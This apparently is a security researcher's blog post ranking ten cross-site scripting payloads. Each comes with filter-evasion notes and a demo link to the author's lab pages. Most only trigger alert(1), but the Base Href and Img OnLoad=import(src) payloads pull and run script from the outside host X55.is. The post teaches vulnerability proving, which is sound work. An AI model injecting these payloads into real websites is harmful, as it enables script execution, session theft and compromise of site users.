BOOK THIS SPACE FOR AD
ARTICLE ADThose are the most useful payloads to prove the vast majority of Cross Site Scripting (XSS) vulnerabilities out there.
The criteria I use to come to that conclusion is how common the scenarios where these payloads can be used arise in the wild. I say IN THE WILD, the whole World Wide Web, not just a subset of it represented by top ranked web sites or the entire scope of all the Bug Bounty programs together.
So don’t expect to see in this list any tailored payload like those used for Hoisting, Function Hijacking, DOM Clobbering, Prototype Pollution etc. Neither those for the most common JS libraries like JQuery or AngularJS (no constructor.constructor here). JQuery is really very present out there but the exploitation of its vulnerabilities depends heavily on custom code while the other libraries are just a tiny fraction of the web attack surface.
Some aspects of filtering I’m also taking into consideration. WAFs also protect a very small percentage of the web, so they are also not a thing here.
Note that although capital letters are an stylist choice I’ve made for my own and KNOXSS payloads, it’s also the most straightforward and elegant attempt to evade filters that forget to check those keywords in a case insensitive way (tHe oNEs lIkE tHaT claim the same but if you know how those regexes work, you know that’s just to look lEEt).
An idiot admires complexity, a genius admires simplicity.
— Terry A. Davis
I really like how this payload works: my X55.is server replies with an alert(1) code for every URL requested for that domain. It’s because that payload makes all native scripts with a relative path in their src attribute to actually run whatever comes from X55.is.
https://brutelogic.com.br/gym.php?p05=%3CBase+Href=//X55.is%3E
Although also good to evade poor CSPs (Content Security Policies) that misses the base-uri directive, this payload is not always available at our disposal due to the way it works (requiring relative path in scripts).
https://brutelogic.com.br/csp/csp-base-uri.php?p=%3CBase+Href=//X55.is%3E
This payload in fact represents any payload with an arbitrary tag (or element) with any event handler related to the movement of the mouse like OnMouseEnter, OnPointerMove etc. Since it does not rely in existing elements, filters have to catch it by the event handler via regex or blacklisting (not a good idea). OnPointerRawUpdate seems to be the latest addition to this family so it still bypasses some blacklists out there.
https://brutelogic.com.br/xss.php?a=%3CK+OnPointerRawUpdate=alert(1)%3E
A very needed one in those pure JS injection scenarios (inside script blocks). More on this can be found here. Because we have to comment the rest of the code after it using //, we rely on the fact that a single slash will also work to make the arithmetic evaluation needed for the JS engine to execute the alert function.
https://brutelogic.com.br/gym.php?p15=\%27/alert(1)//
Such a classic one, super needed in client side redirection scenarios and inside href attribute of an anchor (requiring a click though).
I recommend this post as reference.
A cool variation for URL validation filters is JavaScript://%250A1?alert(1):0 mimic a complete URL with schema and query.
https://brutelogic.com.br/tests/sinks.html?redir=https://google.com
The foundation of every source-based reflected injection into vulnerable Javascript code. Usually it’s not needed to fix more complex syntax than that so it’s really a must have in your arsenal. Again, check this post for the explanation on how it works.
Differently from the payload #8, we can use a wide range of characters to force the arithmetic evaluation of the alert function with -, +, % etc. The single dash is never filtered or blocked so it’s our character of choice.
https://brutelogic.com.br/gym.php?p13=%27-alert(1)-%27
The good and old script-alert still has it’s place: there are cases when an equal sign (=) can’t be used so the only remaining option is that one. It’s not as good as the next ones though because <script is the very first target for any filter or WAF.
https://brutelogic.com.br/gym.php?p05=%3CScript%3Ealert(1)%3C/Script%3E
An absolutely indispensable payload because it’s the one that can’t be really blacklisted by the tag (element) name since it’s arbitrary. It triggers automatically unlike the ones based on OnMouse or OnPointer event handlers.
I will also leave the anchor one here since anchors are usually allowed (the web is based on hyperlinks right?): <A Href AutoFocus OnFocus=alert(1)>
Keep in mind that all those payloads with event handlers can easily be blacklisted or completely caught by a decent regex but in the real world, weird and clever variations might be possible as a bypass (trust me, they happen!).
https://brutelogic.com.br/gym.php?p05=%3CK+ContentEditable+AutoFocus+OnFocus=alert(1)%3E
Absolutely necessary and very often needed. It’s pretty common in scenarios where the reflected injection can’t break out with a > to start a complete HTML based payload so we can simply use an inline injection.
The .NET filter also does not allow any <[a-z][A-Z] (less than sign followed by any alpha character) so it’s absolutely mandatory to proceed that way against apps built with it.
https://brutelogic.com.br/gym.php?p08=%22AutoFocus+OnFocus=alert(1)//
Simple and efficient. It has been my primary payload for years until the realization of a slightly better one. There are certain DOM-based scenarios where this payload alone doesn’t pop so I was used to prepend it with an extra <Svg> like <Svg><Svg OnLoad=alert(1)>.
It’s a very good payload though and it seems I was one of those who helped to make it popular to replace the lengthy <script>alert(1)</script>: it was not widely used when I started back in 2015.
Although very usable, especially in vast majority of scenarios without a filter out there, nowadays is easily targeted by a filter which takes it away from the top place of this list.
https://brutelogic.com.br/gym.php?p05=%3CSvg+OnLoad=alert(1)%3E
That’s the best payload for a number of reasons: Img or Image are usually not blocked because anchors and images are usually whitelisted (it doesn’t mean it won’t be caught by the event handler though).
It proves the XSS in a better way, by calling a remote script with import() function. It gives room for a complete exploit and not just a popup window (some injection points do not allow enough chars for lengthy exploitation attempts).
Since the src attribute is always required (just a <img src> works, the old <img src=x> is not needed), it’s a good idea to use that spot to place the domain we will call with import(src). It works with OnLoad here because the X55.is domain is set to reply with a valid image to the browser request for the image but OnError can be used also.
https://brutelogic.com.br/gym.php?p05=%3CImg+Src=//X55.is+OnLoad=import(src)%3E
That’s it! Feel free to give your feedback in the comments. ;-)
Don’t learn to hack, #hack2learn.
Check my XSS online stuff, it might help you somehow! :-)
Thanks for your attention!
Rodolfo.